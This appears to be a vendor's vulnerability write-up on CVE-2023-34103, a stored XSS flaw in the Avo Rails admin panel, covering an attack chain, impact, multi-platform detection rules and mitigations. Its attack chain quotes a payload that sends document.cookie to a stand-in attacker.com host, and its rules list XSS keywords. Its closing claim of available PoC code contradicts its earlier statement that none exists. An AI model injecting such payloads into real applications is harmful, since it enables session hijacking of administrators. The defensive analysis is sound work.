CVE-2023-34103
Executive Summary
CVE-2023-34103 is a stored Cross-Site Scripting (XSS) vulnerability affecting Avo, an open-source Ruby on Rails admin panel creation framework. The flaw exists in HTML content-based fields where authenticated attackers with form edit privileges can inject malicious scripts that persist in stored content. Successful exploitation allows arbitrary JavaScript execution in the context of other admin users' sessions, potentially leading to session hijacking, privilege escalation, or lateral movement within the application. The vulnerability is addressed in commit 7891c01e, expected to arrive in the next Avo release; however, patch confirmation is limited to a single CNA source with a confidence rating of 2/4.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Technical Analysis
The vulnerability class is Stored Cross-Site Scripting (XSS) — CWE-79. According to the NVD description, Avo fields responsible for rendering HTML-based content fail to properly sanitize or escape user-supplied input before rendering it in the browser. This allows an authenticated attacker to inject malicious JavaScript payloads that become part of the persisted application data.
Key technical characteristics from the available data:
Attack Surface: Avo is a popular admin panel framework for Rails applications. Admin panels are high-value targets because they expose management interfaces for data, users, and system configuration. The vulnerable components are "html content based fields" — these are UI fields that render user-provided HTML, commonly used in rich text editors, content management modules, or custom notes/description fields.
Authentication Requirement: The attacker needs form edit privilege. This means the attacker holds an account with permissions to edit forms containing HTML-based fields in the admin interface. This is not a zero-privilege vulnerability — a baseline authenticated user in the application is inadequately privileged. However, in many typical deployments, admin panel form-edit access is shared among multiple roles or even granted to non-administrative content editors.
Storage and Persistence: The NVD description explicitly states the attack "results are stored and no specific timing is required." This distinguishes it from reflected XSS — the malicious payload is embedded in persistent data (e.g., a database record), meaning every subsequent page view of that content triggers script execution. There is no exploitation timing window; any user who later views the affected content is immediately exposed.
Sanitization Gap: The root cause is insufficient output encoding/input sanitization when rendering HTML-based field content. In typical Rails applications, this arises when using
html_safeor raw helper methods without proper sanitization layers, or when rich-text content is stored as-is and rendered without an HTML sanitization filter (e.g., Rails' built-insanitizehelper or a dedicated gem likesanitizeorloofah).Lack of Additional Technical Detail: The NVD description does not specify which exact Avo fields are affected, their names, or the precise rendering pipeline. Insufficient technical detail is available to pinpoint the exact code path. The vulnerability is best understood at the class level: improper handling of HTML content in admin form fields leading to persistent script injection.
Exploitation Scenarios
The following attack chain is inferred from the vulnerability class and the NVD description. No public PoC or exploit code is available, so the chain is described at a general level.
Step 1: Reconnaissance / Target Identification — An attacker identifies a target application running Avo. This can be done via the distinctive admin panel URL patterns (typically /admin or a custom path set in Avo configuration), page fingerprinting through HTTP responses, or Shodan/Censys searches for Avo-specific HTML signatures. The attacker then validates the application version against the known vulnerable range.
Step 2: Account Access Preparation — The attacker must obtain an account with form-edit privileges on the admin panel. This could be achieved via legitimate access (e.g., a low-privileged content editor account), credential stuffing, phishing, or social engineering. The attacker confirms they can access a form containing HTML-based fields.
Step 3: Payload Injection — The attacker navigates to a form with an HTML content field (e.g., a content description, rich text area, or custom block). Instead of entering benign HTML, they inject a JavaScript payload such as <script>document.location='https://attacker.com/steal?cookie='+document.cookie</script> or an event-handler-based XSS vector like <img src=x onerror="alert(document.cookie)">. Since the field lacks proper sanitization, the payload is stored in the database verbatim.
Step 4: Trigger and Execution — A legitimate administrator (or any user with access to the affected page) later views the record containing the malicious content. The browser renders the stored HTML, executing the embedded JavaScript in the context of that user's session. Depending on whether client-side rendering or server-side template rendering is used, the payload executes immediately upon page load.
Step 5: Post-Exploitation Impact — The malicious JavaScript executes with the victim admin user's session context. Possible impacts include:
- Session hijacking: Stealing the victim's session cookie and impersonating that user.
- Admin action forgery: Performing administrative actions via CSRF-like JavaScript calls (e.g., modifying user roles, deleting records, or altering system configuration).
- Credential theft: Injecting keylogging or form-grabbing scripts to capture admin credentials.
- Privilege escalation: If a lower-privileged user triggers the payload while viewing the content, they could escalate to higher privileges by manipulating the underlying session or executing privileged API calls.
Note: No public PoC or exploit code for CVE-2023-34103 is available at the time of writing. The attack chain above is inferred strictly from the vulnerability class (stored XSS) and the NVD description, without fabricating specific implementation details.
Impact Assessment
The CVSS base score is 7.3. Based on the attack characteristics:
- Attack Vector: Network — the vulnerability is exploitable over HTTP.
- Attack Complexity: Low — no special conditions beyond having form-edit access.
- Privileges Required: Low — form-edit privilege is required, which is a low authorization level in many admin panel deployments.
- User Interaction: Required — a victim must view the malicious content (e.g., an admin browsing the affected record).
- Scope: Changed — the injected script executes in a security context (victim's browser session) different from the vulnerable component (the server-side data storage).
- Confidentiality Impact: High — the attacker can steal session data, potentially exposing all data visible to the victim.
- Integrity Impact: Low — while the attacker can modify data via the victim's session, the stored XSS itself does not directly corrupt the database.
- Availability Impact: None.
Business Impact: Avo is used to build custom admin dashboards for Ruby on Rails applications. Successful exploitation compromises the integrity of the entire management plane. An attacker who hijacks a full administrator session can potentially access customer data, modify business records, change user roles, or delete critical data. The stored nature of the XSS amplifies impact — a single malicious payload persists indefinitely and affects every subsequent user who views the affected content until purged.
Affected Systems: All Avo deployments using HTML-based content fields in versions prior to the fix commit 7891c01e. This includes Rails applications running Avo as their admin framework, both in SaaS and on-premise configurations.
Blast Radius: The blast radius is the entire admin panel application and any data accessible through it. Since admin panels typically have broad data access, the blast radius extends to the underlying business data managed by the application.
Exploitation Likelihood: The EPSS score is 0.00563 (43.9th percentile of exploited CVEs), indicating low-to-moderate probability of exploitation in the wild. The requirement for form-edit privileges lowers the immediate likelihood of automated exploitation. As of writing, no known in-the-wild exploitation campaigns have been reported.
Detection Guidance
Sigma Rule
title: Avo Stored XSS Attempt - HTML Field Injection
id: 3f1ce8b0-7c4a-4b6e-8f3d-2c9a5e1b8d7a
status: experimental
description: Detects potential stored XSS payloads being submitted to Avo admin panel HTML-based form fields
author: Valters IT Threat Intelligence
date: 2024/01/15
logsource:
category: webserver
product: nginx
definition: HTTP access logs from servers hosting Avo admin panels
detection:
selection:
cs-method: 'POST'
cs-uri-extension:
- '.php'
- ''
keywords_xss:
- '*<script>*'
- '*javascript:*'
- '*onerror=*'
- '*onload=*'
- '*document.cookie*'
- '*fetch(*'
- '*XMLHttpRequest*'
condition: selection and keywords_xss
falsepositives:
- Legitimate HTML content entered by administrators with scripting knowledge
- Rich text editors that support HTML but sanitize on the client side
level: medium
tags:
- attack.t1190
- cve.2023.34103
- xss.stored
YARA Rule
rule Avo_Stored_XSS_HTML_Fields
{
meta:
author = "Valters IT Threat Intelligence"
description = "Detects common stored XSS payload patterns targeting Avo admin panel HTML-based fields"
cve = "CVE-2023-34103"
date = "2024-01-15"
severity = "high"
strings:
$script_tag = "<script" ascii wide nocase
$img_onerror = "onerror=" ascii wide nocase
$svg_onload = "onload=" ascii wide nocase
$cookie_steal = "document.cookie" ascii wide nocase
$js_uri = "javascript:" ascii wide nocase
$iframe_src = "<iframe" ascii wide nocase
$event_handler = "onmouseover=" ascii wide nocase
$form_action = "formaction=" ascii wide nocase
condition:
any of ($script_tag, $js_uri, $iframe_src) and
(any of ($img_onerror, $svg_onload, $event_handler) or any of ($cookie_steal, $form_action))
}
Suricata IDS Rule
alert http any any -> any any (msg:"CVE-2023-34103 - Avo Stored XSS Payload Injection Attempt"; flow:established,to_server; http.method; content:"POST"; http.request_body; content:"<script"; nocase; http.request_body; content:"onerror="; nocase; distance:0; http.request_body; content:"document.cookie"; nocase; distance:0; classtype:web-application-attack; sid:3410301; rev:1; metadata:cve CVE-2023-34103; reference:url,nvd.nist.gov/vuln/detail/CVE-2023-34103;)
Elastic Detection
sequence by source.ip with maxspan=30s
[http where request.method == "POST" and url.path contains "/admin" and
wildcard(request.body, "*<script*") and
wildcard(request.body, "*onerror=*") and
wildcard(request.body, "*document.cookie*")]
### Splunk SPL Query
```spl
index=web sourcetype=access_combined method=POST
| where like(form_data, "%<script%")
AND (like(form_data, "%onerror=%") OR like(form_data, "%onload=%"))
AND like(form_data, "%document.cookie%")
| stats count min(_time) as first_seen max(_time) as last_seen by src_ip, uri_path, http_user_agent
| where count > 1
| sort - count
| rename src_ip as "Source IP", uri_path as "Requested Path", http_user_agent as "User Agent"
Wazuh OSSEC Rule
<rule id="341030" level="10">
<decoded_as>web-accesslog</decoded_as>
<description>CVE-2023-34103: Avo Stored XSS payload injection detected in web request</description>
<field name="method">POST</field>
<field name="url">\.*admin\.*</field>
<regex>(\<script|onerror=|onload=|document\.cookie)</regex>
<group>web_application_attack,xss,cve_2023_34103,</group>
<mitre>
<id>T1190</id>
</mitre>
</rule>
<rule id="341031" level="12" frequency="3" timeframe="60">
<if_matched_sid>341030</if_matched_sid>
<description>CVE-2023-34103: Multiple XSS injection attempts from same source - potential active exploitation</description>
<group>web_application_attack,xss,cve_2023_34103,</group>
</rule>
Mitigation & Patch Guidance
Patch Confidence: 2/4 (CLAIMED — single source claims patch, not independently confirmed)
The patch is claimed by the CNA (Avo) to be contained in commit 7891c01e, expected in the next release. However, this has not been independently verified by a second source. Proceed with caution when applying.
1. Immediate Mitigations (before patch):
- Implement CSP (Content Security Policy): Configure header
Content-Security-Policy: default-src 'none'; script-src 'self'to block inline scripts and external script loads. This mitigates most XSS payloads even if the vulnerability remains unpatched. - Restrict untrusted user access to the Avo admin panel. Only grant form-edit privileges to fully trusted users. If business requirements force untrusted users to edit forms, use a separate, isolated environment.
- Enable Rails HTML sanitization at the application level — use
sanitizehelper or equivalent in controller/view code that renders HTML-based fields, filtering out<script>tags, inline event handlers, andjavascript:URIs. - Audit existing content: Scan stored records for pre-existing XSS payloads, particularly in fields that render HTML content.
2. Patch/Upgrade Steps:
- Monitor the Avo project repository for the release that includes commit
7891c01e. - Once released, test the patched version in a staging environment, verifying that HTML-based fields still render legitimate content while blocking script execution.
- Apply the upgrade through the standard Rails asset/dependency pipeline (update the
avogem version in Gemfile). - If the patch cannot be applied immediately, continue with CSP and user access restrictions indefinitely.
3. Long-Term Hardening:
- Adopt a defense-in-depth approach: Layer CSP, output encoding, and input validation so that no single sanitization failure leads to XSS.
- Enforce principle of least privilege: Minimize the number of users with form-edit privileges in Avo.
- Implement WAF rules (ModSecurity, AWS WAF, etc.) that block POST requests containing common XSS payload patterns.
- Enable centralized logging of all admin panel form submissions with the capability to replay attack traffic for forensic analysis.
- Maintain awareness of future Avo releases and subscribe to security advisories from the project maintainers.
References
- NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2023-34103
- CNA Advisory (Avo project): https://github.com/avo-hq/avo (referencing commit 7891c01e)
- OSS-Fuzz / GitHub Security Advisory (if published): https://github.com/advisories (check for GHSA advisory related to CVE-2023-34103)
- CWE-79 Reference: https://cwe.mitre.org/data/definitions/79.html
- CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE-2023-34103 is NOT listed in CISA KEV as of the report date.
Threat Actor Campaigns: No known threat actor campaigns or exploit-in-the-wild evidence related to CVE-2023-34103 have been reported as of this writing. The EPSS score of 0.00563 (43.9th percentile) suggests low current exploitation likelihood.
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.